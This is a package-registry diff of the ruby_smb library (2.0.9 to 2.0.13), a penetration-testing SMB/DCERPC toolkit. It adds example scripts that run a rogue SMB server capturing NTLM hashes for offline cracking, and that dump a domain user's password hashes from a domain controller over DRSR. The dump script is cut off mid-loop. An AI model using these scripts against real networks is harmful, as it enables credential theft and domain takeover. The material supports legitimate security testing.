ruby_smb 2.0.9 → 2.0.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data/.github/workflows/verify.yml +5 -15
- data/examples/auth_capture.rb +71 -0
- data/examples/dump_secrets_from_sid.rb +207 -0
- data/examples/enum_domain_users.rb +75 -0
- data/examples/get_computer_info.rb +42 -0
- data/examples/query_service_status.rb +42 -4
- data/lib/ruby_smb/client/negotiation.rb +1 -1
- data/lib/ruby_smb/client.rb +10 -20
- data/lib/ruby_smb/dcerpc/bind.rb +28 -20
- data/lib/ruby_smb/dcerpc/bind_ack.rb +29 -28
- data/lib/ruby_smb/dcerpc/client.rb +542 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_bind_request.rb +24 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_bind_response.rb +26 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_crack_names_request.rb +57 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_crack_names_response.rb +76 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_domain_controller_info_request.rb +46 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_domain_controller_info_response.rb +168 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_extensions.rb +56 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_get_nc_changes_request.rb +121 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_get_nc_changes_response.rb +118 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_unbind_request.rb +24 -0
- data/lib/ruby_smb/dcerpc/drsr/drs_unbind_response.rb +26 -0
- data/lib/ruby_smb/dcerpc/drsr.rb +909 -0
- data/lib/ruby_smb/dcerpc/epm/epm_ept_map_request.rb +26 -0
- data/lib/ruby_smb/dcerpc/epm/epm_ept_map_response.rb +25 -0
- data/lib/ruby_smb/dcerpc/epm/epm_twrt.rb +211 -0
- data/lib/ruby_smb/dcerpc/epm.rb +75 -0
- data/lib/ruby_smb/dcerpc/error.rb +17 -0
- data/lib/ruby_smb/dcerpc/ndr.rb +1159 -297
- data/lib/ruby_smb/dcerpc/netlogon/netr_server_authenticate3_request.rb +3 -13
- data/lib/ruby_smb/dcerpc/netlogon/netr_server_authenticate3_response.rb +3 -3
- data/lib/ruby_smb/dcerpc/netlogon/netr_server_password_set2_request.rb +3 -13
- data/lib/ruby_smb/dcerpc/netlogon/netr_server_password_set2_response.rb +1 -1
- data/lib/ruby_smb/dcerpc/netlogon/netr_server_req_challenge_request.rb +3 -11
- data/lib/ruby_smb/dcerpc/netlogon/netr_server_req_challenge_response.rb +1 -1
- data/lib/ruby_smb/dcerpc/netlogon.rb +5 -4
- data/lib/ruby_smb/dcerpc/p_syntax_id_t.rb +4 -3
- data/lib/ruby_smb/dcerpc/pdu_header.rb +7 -7
- data/lib/ruby_smb/dcerpc/ptypes.rb +1 -0
- data/lib/ruby_smb/dcerpc/request.rb +79 -32
- data/lib/ruby_smb/dcerpc/response.rb +45 -10
- data/lib/ruby_smb/dcerpc/rpc_auth3.rb +28 -0
- data/lib/ruby_smb/dcerpc/rpc_security_attributes.rb +11 -11
- data/lib/ruby_smb/dcerpc/rrp_rpc_unicode_string.rb +118 -0
- data/lib/ruby_smb/dcerpc/samr/rpc_sid.rb +150 -0
- data/lib/ruby_smb/dcerpc/samr/samr_close_handle_request.rb +23 -0
- data/lib/ruby_smb/dcerpc/samr/samr_close_handle_response.rb +24 -0
- data/lib/ruby_smb/dcerpc/samr/samr_connect_request.rb +32 -0
- data/lib/ruby_smb/dcerpc/samr/samr_connect_response.rb +23 -0
- data/lib/ruby_smb/dcerpc/samr/samr_enumerate_users_in_domain_request.rb +26 -0
- data/lib/ruby_smb/dcerpc/samr/samr_enumerate_users_in_domain_response.rb +55 -0
- data/lib/ruby_smb/dcerpc/samr/samr_get_alias_membership_request.rb +48 -0
- data/lib/ruby_smb/dcerpc/samr/samr_get_alias_membership_response.rb +38 -0
- data/lib/ruby_smb/dcerpc/samr/samr_get_groups_for_user_request.rb +23 -0
- data/lib/ruby_smb/dcerpc/samr/samr_get_groups_for_user_response.rb +48 -0
- data/lib/ruby_smb/dcerpc/samr/samr_lookup_domain_in_sam_server_request.rb +24 -0
- data/lib/ruby_smb/dcerpc/samr/samr_lookup_domain_in_sam_server_response.rb +25 -0
- data/lib/ruby_smb/dcerpc/samr/samr_open_domain_request.rb +27 -0
- data/lib/ruby_smb/dcerpc/samr/samr_open_domain_response.rb +24 -0
- data/lib/ruby_smb/dcerpc/samr/samr_open_user_request.rb +26 -0
- data/lib/ruby_smb/dcerpc/samr/samr_open_user_response.rb +24 -0
- data/lib/ruby_smb/dcerpc/samr/samr_rid_to_sid_request.rb +23 -0
- data/lib/ruby_smb/dcerpc/samr/samr_rid_to_sid_response.rb +23 -0
- data/lib/ruby_smb/dcerpc/samr.rb +613 -0
- data/lib/ruby_smb/dcerpc/sec_trailer.rb +26 -0
- data/lib/ruby_smb/dcerpc/srvsvc/net_share_enum_all.rb +56 -79
- data/lib/ruby_smb/dcerpc/srvsvc.rb +27 -4
- data/lib/ruby_smb/dcerpc/svcctl/change_service_config_w_request.rb +13 -25
- data/lib/ruby_smb/dcerpc/svcctl/change_service_config_w_response.rb +2 -2
- data/lib/ruby_smb/dcerpc/svcctl/close_service_handle_response.rb +1 -1
- data/lib/ruby_smb/dcerpc/svcctl/control_service_request.rb +1 -1
- data/lib/ruby_smb/dcerpc/svcctl/control_service_response.rb +1 -1
- data/lib/ruby_smb/dcerpc/svcctl/open_sc_manager_w_request.rb +4 -14
- data/lib/ruby_smb/dcerpc/svcctl/open_sc_manager_w_response.rb +1 -1
- data/lib/ruby_smb/dcerpc/svcctl/open_service_w_request.rb +3 -11
- data/lib/ruby_smb/dcerpc/svcctl/open_service_w_response.rb +1 -1
- data/lib/ruby_smb/dcerpc/svcctl/query_service_config_w_request.rb +1 -1
- data/lib/ruby_smb/dcerpc/svcctl/query_service_config_w_response.rb +12 -11
- data/lib/ruby_smb/dcerpc/svcctl/query_service_status_response.rb +1 -1
- data/lib/ruby_smb/dcerpc/svcctl/service_status.rb +9 -8
- data/lib/ruby_smb/dcerpc/svcctl/start_service_w_request.rb +3 -3
- data/lib/ruby_smb/dcerpc/svcctl/start_service_w_response.rb +1 -1
- data/lib/ruby_smb/dcerpc/svcctl.rb +1 -3
- data/lib/ruby_smb/dcerpc/uuid.rb +3 -0
- data/lib/ruby_smb/dcerpc/winreg/close_key_response.rb +2 -2
- data/lib/ruby_smb/dcerpc/winreg/create_key_request.rb +2 -13
- data/lib/ruby_smb/dcerpc/winreg/create_key_response.rb +3 -3
- data/lib/ruby_smb/dcerpc/winreg/enum_key_request.rb +3 -20
- data/lib/ruby_smb/dcerpc/winreg/enum_key_response.rb +3 -20
- data/lib/ruby_smb/dcerpc/winreg/enum_value_request.rb +5 -14
- data/lib/ruby_smb/dcerpc/winreg/enum_value_response.rb +5 -14
- data/lib/ruby_smb/dcerpc/winreg/open_key_request.rb +1 -9
- data/lib/ruby_smb/dcerpc/winreg/open_key_response.rb +4 -3
- data/lib/ruby_smb/dcerpc/winreg/open_root_key_request.rb +5 -6
- data/lib/ruby_smb/dcerpc/winreg/open_root_key_response.rb +2 -2
- data/lib/ruby_smb/dcerpc/winreg/query_info_key_response.rb +9 -18
- data/lib/ruby_smb/dcerpc/winreg/query_value_request.rb +4 -14
- data/lib/ruby_smb/dcerpc/winreg/query_value_response.rb +7 -15
- data/lib/ruby_smb/dcerpc/winreg/regsam.rb +3 -1
- data/lib/ruby_smb/dcerpc/winreg/save_key_request.rb +0 -9
- data/lib/ruby_smb/dcerpc/winreg/save_key_response.rb +1 -1
- data/lib/ruby_smb/dcerpc/winreg.rb +10 -14
- data/lib/ruby_smb/dcerpc/wkssvc/netr_wksta_get_info_request.rb +26 -0
- data/lib/ruby_smb/dcerpc/wkssvc/netr_wksta_get_info_response.rb +88 -0
- data/lib/ruby_smb/dcerpc/wkssvc.rb +65 -0
- data/lib/ruby_smb/dcerpc.rb +41 -11
- data/lib/ruby_smb/dialect.rb +45 -0
- data/lib/ruby_smb/dispatcher/base.rb +1 -1
- data/lib/ruby_smb/field/file_time.rb +1 -1
- data/lib/ruby_smb/field/string16.rb +5 -1
- data/lib/ruby_smb/gss/provider/authenticator.rb +42 -0
- data/lib/ruby_smb/gss/provider/ntlm.rb +303 -0
- data/lib/ruby_smb/gss/provider.rb +35 -0
- data/lib/ruby_smb/gss.rb +56 -63
- data/lib/ruby_smb/ntlm.rb +61 -0
- data/lib/ruby_smb/server/server_client/negotiation.rb +156 -0
- data/lib/ruby_smb/server/server_client/session_setup.rb +82 -0
- data/lib/ruby_smb/server/server_client.rb +162 -0
- data/lib/ruby_smb/server.rb +54 -0
- data/lib/ruby_smb/signing.rb +59 -0
- data/lib/ruby_smb/smb1/packet/negotiate_response.rb +11 -11
- data/lib/ruby_smb/smb1/packet/negotiate_response_extended.rb +1 -1
- data/lib/ruby_smb/smb1/packet/session_setup_request.rb +1 -1
- data/lib/ruby_smb/smb1/pipe.rb +4 -0
- data/lib/ruby_smb/smb1/tree.rb +1 -1
- data/lib/ruby_smb/smb2/negotiate_context.rb +18 -2
- data/lib/ruby_smb/smb2/packet/negotiate_request.rb +9 -0
- data/lib/ruby_smb/smb2/packet/negotiate_response.rb +0 -1
- data/lib/ruby_smb/smb2/packet/session_setup_response.rb +2 -2
- data/lib/ruby_smb/smb2/packet/tree_connect_request.rb +1 -1
- data/lib/ruby_smb/smb2/pipe.rb +4 -0
- data/lib/ruby_smb/smb2/tree.rb +1 -1
- data/lib/ruby_smb/smb2.rb +3 -1
- data/lib/ruby_smb/version.rb +1 -1
- data/lib/ruby_smb.rb +2 -1
- data/spec/lib/ruby_smb/client_spec.rb +8 -11
- data/spec/lib/ruby_smb/dcerpc/bind_ack_spec.rb +69 -41
- data/spec/lib/ruby_smb/dcerpc/bind_spec.rb +75 -21
- data/spec/lib/ruby_smb/dcerpc/client_spec.rb +714 -0
- data/spec/lib/ruby_smb/dcerpc/drsr_spec.rb +2169 -0
- data/spec/lib/ruby_smb/dcerpc/ndr_spec.rb +3792 -1373
- data/spec/lib/ruby_smb/dcerpc/netlogon/netr_server_authenticate3_request_spec.rb +4 -4
- data/spec/lib/ruby_smb/dcerpc/netlogon/netr_server_password_set2_request_spec.rb +4 -4
- data/spec/lib/ruby_smb/dcerpc/netlogon/netr_server_req_challenge_request_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/netlogon/netr_server_req_challenge_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/p_syntax_id_t_spec.rb +18 -4
- data/spec/lib/ruby_smb/dcerpc/pdu_header_spec.rb +27 -1
- data/spec/lib/ruby_smb/dcerpc/request_spec.rb +76 -11
- data/spec/lib/ruby_smb/dcerpc/response_spec.rb +99 -9
- data/spec/lib/ruby_smb/dcerpc/rpc_auth3_spec.rb +75 -0
- data/spec/lib/ruby_smb/dcerpc/rpc_security_attributes_spec.rb +29 -28
- data/spec/lib/ruby_smb/dcerpc/rrp_rpc_unicode_string_spec.rb +340 -0
- data/spec/lib/ruby_smb/dcerpc/samr/rpc_sid_spec.rb +116 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_close_handle_request_spec.rb +40 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_close_handle_response_spec.rb +48 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_connect_request_spec.rb +56 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_connect_response_spec.rb +47 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_enumerate_users_in_domain_request_spec.rb +63 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_enumerate_users_in_domain_response_spec.rb +265 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_lookup_domain_in_sam_server_request_spec.rb +52 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_lookup_domain_in_sam_server_response_spec.rb +36 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_open_domain_request_spec.rb +56 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_open_domain_response_spec.rb +48 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_rid_to_sid_request_spec.rb +48 -0
- data/spec/lib/ruby_smb/dcerpc/samr/samr_rid_to_sid_response_spec.rb +42 -0
- data/spec/lib/ruby_smb/dcerpc/samr_spec.rb +420 -0
- data/spec/lib/ruby_smb/dcerpc/sec_trailer_spec.rb +92 -0
- data/spec/lib/ruby_smb/dcerpc/srvsvc/net_share_enum_all_spec.rb +149 -110
- data/spec/lib/ruby_smb/dcerpc/srvsvc_spec.rb +21 -17
- data/spec/lib/ruby_smb/dcerpc/svcctl/change_service_config_w_request_spec.rb +56 -79
- data/spec/lib/ruby_smb/dcerpc/svcctl/change_service_config_w_response_spec.rb +4 -4
- data/spec/lib/ruby_smb/dcerpc/svcctl/close_service_handle_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/svcctl/control_service_request_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/svcctl/control_service_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/svcctl/open_sc_manager_w_request_spec.rb +19 -29
- data/spec/lib/ruby_smb/dcerpc/svcctl/open_sc_manager_w_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/svcctl/open_service_w_request_spec.rb +9 -15
- data/spec/lib/ruby_smb/dcerpc/svcctl/open_service_w_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/svcctl/query_service_config_w_request_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/svcctl/query_service_config_w_response_spec.rb +22 -22
- data/spec/lib/ruby_smb/dcerpc/svcctl/query_service_status_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/svcctl/service_status_spec.rb +18 -14
- data/spec/lib/ruby_smb/dcerpc/svcctl/start_service_w_request_spec.rb +5 -4
- data/spec/lib/ruby_smb/dcerpc/svcctl/start_service_w_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/svcctl_spec.rb +1 -5
- data/spec/lib/ruby_smb/dcerpc/uuid_spec.rb +15 -23
- data/spec/lib/ruby_smb/dcerpc/winreg/close_key_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/winreg/create_key_request_spec.rb +4 -41
- data/spec/lib/ruby_smb/dcerpc/winreg/create_key_response_spec.rb +4 -4
- data/spec/lib/ruby_smb/dcerpc/winreg/enum_key_request_spec.rb +4 -52
- data/spec/lib/ruby_smb/dcerpc/winreg/enum_key_response_spec.rb +4 -56
- data/spec/lib/ruby_smb/dcerpc/winreg/enum_value_request_spec.rb +10 -34
- data/spec/lib/ruby_smb/dcerpc/winreg/enum_value_response_spec.rb +10 -34
- data/spec/lib/ruby_smb/dcerpc/winreg/open_key_request_spec.rb +2 -26
- data/spec/lib/ruby_smb/dcerpc/winreg/open_key_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/winreg/open_root_key_request_spec.rb +17 -25
- data/spec/lib/ruby_smb/dcerpc/winreg/open_root_key_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/winreg/query_info_key_response_spec.rb +20 -44
- data/spec/lib/ruby_smb/dcerpc/winreg/query_value_request_spec.rb +8 -32
- data/spec/lib/ruby_smb/dcerpc/winreg/query_value_response_spec.rb +10 -22
- data/spec/lib/ruby_smb/dcerpc/winreg/regsam_spec.rb +4 -0
- data/spec/lib/ruby_smb/dcerpc/winreg/save_key_request_spec.rb +0 -12
- data/spec/lib/ruby_smb/dcerpc/winreg/save_key_response_spec.rb +2 -2
- data/spec/lib/ruby_smb/dcerpc/winreg_spec.rb +18 -47
- data/spec/lib/ruby_smb/dcerpc/wkssvc/netr_wksta_get_info_request_spec.rb +43 -0
- data/spec/lib/ruby_smb/dcerpc/wkssvc/netr_wksta_get_info_response_spec.rb +410 -0
- data/spec/lib/ruby_smb/dcerpc/wkssvc_spec.rb +70 -0
- data/spec/lib/ruby_smb/field/string16_spec.rb +22 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm/account_spec.rb +32 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm/authenticator_spec.rb +101 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm/os_version_spec.rb +32 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm_spec.rb +113 -0
- data/spec/lib/ruby_smb/server/server_client_spec.rb +156 -0
- data/spec/lib/ruby_smb/server_spec.rb +32 -0
- data/spec/lib/ruby_smb/smb1/pipe_spec.rb +18 -37
- data/spec/lib/ruby_smb/smb1/tree_spec.rb +4 -4
- data/spec/lib/ruby_smb/smb2/negotiate_context_spec.rb +2 -2
- data/spec/lib/ruby_smb/smb2/pipe_spec.rb +18 -16
- data/spec/lib/ruby_smb/smb2/tree_spec.rb +5 -5
- data/spec/support/bin_helper.rb +9 -0
- data.tar.gz.sig +2 -1
- metadata +119 -6
- metadata.gz.sig +0 -0
- data/lib/ruby_smb/client/signing.rb +0 -64
- data/lib/ruby_smb/dcerpc/rrp_unicode_string.rb +0 -38
- data/spec/lib/ruby_smb/dcerpc/rrp_unicode_string_spec.rb +0 -135
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: dff619ce28b159e4f0829b3e6ab01578831b7ce6ef259f4f006fae819f62c252
|
|
4
|
+
data.tar.gz: cd3755a1fdd80484c04375fde5f19d8867fb004e7152b7e87600f772cc22a6fe
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 2336c7b2bec69f1b86f1b8ef0fc0787793cf6ca4b9212f9f3e6666b94915c77e230aa0f4c583304deaa30a341ee93ebec2b5fc4e9dbabe06ca86403506f2a1df
|
|
7
|
+
data.tar.gz: db316b93e942705596156aa156ecc58167335f05fb4259b93be09afdd618e0725589e10ffc4451947ceb32a1a3c72ee22a8e054cde46e36517a89fc1e426b2d7
|
checksums.yaml.gz.sig
CHANGED
|
Binary file
|
|
@@ -10,7 +10,7 @@ on:
|
|
|
10
10
|
|
|
11
11
|
jobs:
|
|
12
12
|
test:
|
|
13
|
-
runs-on: ubuntu-
|
|
13
|
+
runs-on: ubuntu-18.04
|
|
14
14
|
timeout-minutes: 40
|
|
15
15
|
|
|
16
16
|
strategy:
|
|
@@ -20,6 +20,7 @@ jobs:
|
|
|
20
20
|
- 2.5
|
|
21
21
|
- 2.6
|
|
22
22
|
- 2.7
|
|
23
|
+
- 3.0.3
|
|
23
24
|
test_cmd:
|
|
24
25
|
- bundle exec rspec
|
|
25
26
|
|
|
@@ -31,23 +32,12 @@ jobs:
|
|
|
31
32
|
- name: Checkout code
|
|
32
33
|
uses: actions/checkout@v2
|
|
33
34
|
|
|
34
|
-
-
|
|
35
|
+
- name: Setup Ruby
|
|
36
|
+
uses: ruby/setup-ruby@v1
|
|
35
37
|
with:
|
|
36
38
|
ruby-version: ${{ matrix.ruby }}
|
|
39
|
+
bundler-cache: true
|
|
37
40
|
|
|
38
|
-
- name: Setup bundler
|
|
39
|
-
run: |
|
|
40
|
-
gem install bundler
|
|
41
|
-
- uses: actions/cache@v2
|
|
42
|
-
with:
|
|
43
|
-
path: vendor/bundle
|
|
44
|
-
key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
|
|
45
|
-
restore-keys: |
|
|
46
|
-
${{ runner.os }}-gems-
|
|
47
|
-
- name: Bundle install
|
|
48
|
-
run: |
|
|
49
|
-
bundle config path vendor/bundle
|
|
50
|
-
bundle install --jobs 4 --retry 3
|
|
51
41
|
- name: ${{ matrix.test_cmd }}
|
|
52
42
|
run: |
|
|
53
43
|
echo "${CMD}"
|
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
require 'bundler/setup'
|
|
4
|
+
require 'ruby_smb'
|
|
5
|
+
require 'ruby_smb/gss/provider/ntlm'
|
|
6
|
+
|
|
7
|
+
# we just need *a* default encoding to handle the strings from the NTLM messages
|
|
8
|
+
Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil?
|
|
9
|
+
|
|
10
|
+
def bin_to_hex(s)
|
|
11
|
+
s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
|
12
|
+
end
|
|
13
|
+
|
|
14
|
+
# this is a custom NTLM provider that will log the challenge and responses for offline cracking action!
|
|
15
|
+
class HaxorNTLMProvider < RubySMB::Gss::Provider::NTLM
|
|
16
|
+
class Authenticator < RubySMB::Gss::Provider::NTLM::Authenticator
|
|
17
|
+
# override the NTLM type 3 process method to extract all of the valuable information
|
|
18
|
+
def process_ntlm_type3(type3_msg)
|
|
19
|
+
username = "#{type3_msg.domain.encode}\\#{type3_msg.user.encode}"
|
|
20
|
+
_, client = ::Socket::unpack_sockaddr_in(@server_client.getpeername)
|
|
21
|
+
|
|
22
|
+
hash_type = nil
|
|
23
|
+
hash = "#{type3_msg.user.encode}::#{type3_msg.domain.encode}"
|
|
24
|
+
|
|
25
|
+
case type3_msg.ntlm_version
|
|
26
|
+
when :ntlmv1
|
|
27
|
+
hash_type = 'NTLMv1-SSP'
|
|
28
|
+
hash << ":#{bin_to_hex(type3_msg.lm_response)}"
|
|
29
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response)}"
|
|
30
|
+
hash << ":#{bin_to_hex(@server_challenge)}"
|
|
31
|
+
when :ntlmv2
|
|
32
|
+
hash_type = 'NTLMv2-SSP'
|
|
33
|
+
hash << ":#{bin_to_hex(@server_challenge)}"
|
|
34
|
+
# NTLMv2 responses consist of the proof string whose calculation also includes the additional response fields
|
|
35
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response[0...16])}" # proof string
|
|
36
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response[16.. -1])}" # additional response fields
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
unless hash_type.nil?
|
|
40
|
+
version = @server_client.metadialect.version_name
|
|
41
|
+
puts "[#{version}] #{hash_type} Client : #{client}"
|
|
42
|
+
puts "[#{version}] #{hash_type} Username : #{username}"
|
|
43
|
+
puts "[#{version}] #{hash_type} Hash : #{hash}"
|
|
44
|
+
end
|
|
45
|
+
|
|
46
|
+
WindowsError::NTStatus::STATUS_ACCESS_DENIED
|
|
47
|
+
end
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
def new_authenticator(server_client)
|
|
51
|
+
# build and return an instance that can process and track stateful information for a particular connection but
|
|
52
|
+
# that's backed by this particular provider
|
|
53
|
+
Authenticator.new(self, server_client)
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
# we're overriding the default challenge generation routine here as opposed to leaving it random (the default)
|
|
57
|
+
def generate_server_challenge(&block)
|
|
58
|
+
"\x11\x22\x33\x44\x55\x66\x77\x88"
|
|
59
|
+
end
|
|
60
|
+
end
|
|
61
|
+
|
|
62
|
+
# define a new server with the custom authentication provider
|
|
63
|
+
server = RubySMB::Server.new(
|
|
64
|
+
gss_provider: HaxorNTLMProvider.new
|
|
65
|
+
)
|
|
66
|
+
puts "server is running"
|
|
67
|
+
server.run do
|
|
68
|
+
puts "received connection"
|
|
69
|
+
# accept all of the connections and run forever
|
|
70
|
+
true
|
|
71
|
+
end
|
|
@@ -0,0 +1,207 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
# This example script is used for testing DCERPC client and DRSR structures.
|
|
4
|
+
# It will attempt to connect to a host and enumerate user secrets.
|
|
5
|
+
# Example usage: ruby dump_secrets_from_sid.rb 192.168.172.138 msfadmin msfadmin MYDOMAIN S-1-5-21-419547006-9448028-4223375872-500
|
|
6
|
+
# This will try to connect to \\192.168.172.138 with the msfadmin:msfadmin
|
|
7
|
+
# credentials and enumerate secrets of domain user with SID
|
|
8
|
+
# S-1-5-21-419547006-9448028-4223375872-500
|
|
9
|
+
|
|
10
|
+
require 'bundler/setup'
|
|
11
|
+
require 'ruby_smb/dcerpc/client'
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
address = ARGV[0]
|
|
15
|
+
username = ARGV[1]
|
|
16
|
+
password = ARGV[2]
|
|
17
|
+
domain = ARGV[3]
|
|
18
|
+
sid = ARGV[4]
|
|
19
|
+
|
|
20
|
+
client = RubySMB::Dcerpc::Client.new(
|
|
21
|
+
address,
|
|
22
|
+
RubySMB::Dcerpc::Drsr,
|
|
23
|
+
username: username,
|
|
24
|
+
password: password,
|
|
25
|
+
)
|
|
26
|
+
client.connect
|
|
27
|
+
puts('Binding to DRSR...')
|
|
28
|
+
client.bind(
|
|
29
|
+
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
30
|
+
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
|
|
31
|
+
)
|
|
32
|
+
puts('Bound to DRSR')
|
|
33
|
+
ph_drs = client.drs_bind
|
|
34
|
+
puts "ph_drs: #{ph_drs}"
|
|
35
|
+
puts
|
|
36
|
+
|
|
37
|
+
dc_infos = client.drs_domain_controller_info(ph_drs, domain)
|
|
38
|
+
dc_infos.each do |dc_info|
|
|
39
|
+
dc_info.field_names.each do |field|
|
|
40
|
+
puts "#{field}: #{dc_info.send(field).to_s.encode('utf-8')}"
|
|
41
|
+
end
|
|
42
|
+
puts
|
|
43
|
+
puts
|
|
44
|
+
|
|
45
|
+
crack_names = client.drs_crack_names(ph_drs, rp_names: [sid])
|
|
46
|
+
puts "SID: #{sid}"
|
|
47
|
+
crack_names.each do |crack_name|
|
|
48
|
+
puts "Domain: #{crack_name.p_domain.to_s.encode('utf-8')}"
|
|
49
|
+
puts "Name: #{crack_name.p_name.to_s.encode('utf-8')}"
|
|
50
|
+
|
|
51
|
+
user_record = client.drs_get_nc_changes(
|
|
52
|
+
ph_drs,
|
|
53
|
+
nc_guid: crack_name.p_name.to_s.encode('utf-8'),
|
|
54
|
+
dsa_object_guid: dc_info.ntds_dsa_object_guid,
|
|
55
|
+
)
|
|
56
|
+
|
|
57
|
+
# self.__decryptHash
|
|
58
|
+
dn = user_record.pmsg_out.msg_getchg.p_nc.string_name.to_ary[0..-1].join.encode('utf-8')
|
|
59
|
+
puts "Decrypting hash for user: #{dn}"
|
|
60
|
+
|
|
61
|
+
entinf_struct = user_record.pmsg_out.msg_getchg.p_objects.entinf
|
|
62
|
+
object_sid = rid = entinf_struct.p_name.sid[-4..-1].unpack('<L').first
|
|
63
|
+
lm_hash = Net::NTLM.lm_hash('')
|
|
64
|
+
nt_hash = Net::NTLM.ntlm_hash('')
|
|
65
|
+
disabled = nil
|
|
66
|
+
computer_account = nil
|
|
67
|
+
password_never_expires = nil
|
|
68
|
+
password_not_required = nil
|
|
69
|
+
pwd_last_set = nil
|
|
70
|
+
last_logon = nil
|
|
71
|
+
expires = nil
|
|
72
|
+
lm_history = []
|
|
73
|
+
nt_history = []
|
|
74
|
+
domain_name = ''
|
|
75
|
+
user = 'unknown'
|
|
76
|
+
kerberos_keys = {}
|
|
77
|
+
clear_text_passwords = []
|
|
78
|
+
|
|
79
|
+
entinf_struct.attr_block.p_attr.each do |attr|
|
|
80
|
+
next unless attr.attr_val.val_count > 0
|
|
81
|
+
# begin
|
|
82
|
+
att_id = user_record.pmsg_out.msg_getchg.oid_from_attid(attr.attr_typ)
|
|
83
|
+
lookup_table = RubySMB::Dcerpc::Drsr::ATTRTYP_TO_ATTID
|
|
84
|
+
# rescue XXXX
|
|
85
|
+
# att_id = attr.attr_typ
|
|
86
|
+
# lookup_table = NAME_TO_ATTRTYP
|
|
87
|
+
# end
|
|
88
|
+
|
|
89
|
+
#puts "#{lookup_table.key(att_id) || 'Unknown'}: #{attr.attr_val.p_aval[0].p_val}"
|
|
90
|
+
|
|
91
|
+
attribute_value = attr.attr_val.p_aval[0].p_val.to_ary.map(&:chr).join
|
|
92
|
+
case att_id
|
|
93
|
+
when lookup_table['dBCSPwd']
|
|
94
|
+
encrypted_lm_hash = client.decrypt_attribute_value(attribute_value)
|
|
95
|
+
lm_hash = client.remove_des_layer(encrypted_lm_hash, rid)
|
|
96
|
+
when lookup_table['unicodePwd']
|
|
97
|
+
encrypted_nt_hash = client.decrypt_attribute_value(attribute_value)
|
|
98
|
+
nt_hash = client.remove_des_layer(encrypted_nt_hash, rid)
|
|
99
|
+
when lookup_table['userPrincipalName']
|
|
100
|
+
domain_name = attribute_value.force_encoding('utf-16le').encode('utf-8').split('@').last
|
|
101
|
+
when lookup_table['sAMAccountName']
|
|
102
|
+
user = attribute_value.force_encoding('utf-16le').encode('utf-8')
|
|
103
|
+
when lookup_table['objectSid']
|
|
104
|
+
object_sid = attribute_value
|
|
105
|
+
when lookup_table['userAccountControl']
|
|
106
|
+
user_account_control = attribute_value.unpack('L<')[0]
|
|
107
|
+
disabled = user_account_control & RubySMB::Dcerpc::Samr::UF_ACCOUNTDISABLE != 0
|
|
108
|
+
computer_account = user_account_control & RubySMB::Dcerpc::Samr::UF_NORMAL_ACCOUNT == 0
|
|
109
|
+
password_never_expires = user_account_control & RubySMB::Dcerpc::Samr::UF_DONT_EXPIRE_PASSWD != 0
|
|
110
|
+
password_not_required = user_account_control & RubySMB::Dcerpc::Samr::UF_PASSWD_NOTREQD != 0
|
|
111
|
+
when lookup_table['pwdLastSet']
|
|
112
|
+
pwd_last_set = Time.at(0)
|
|
113
|
+
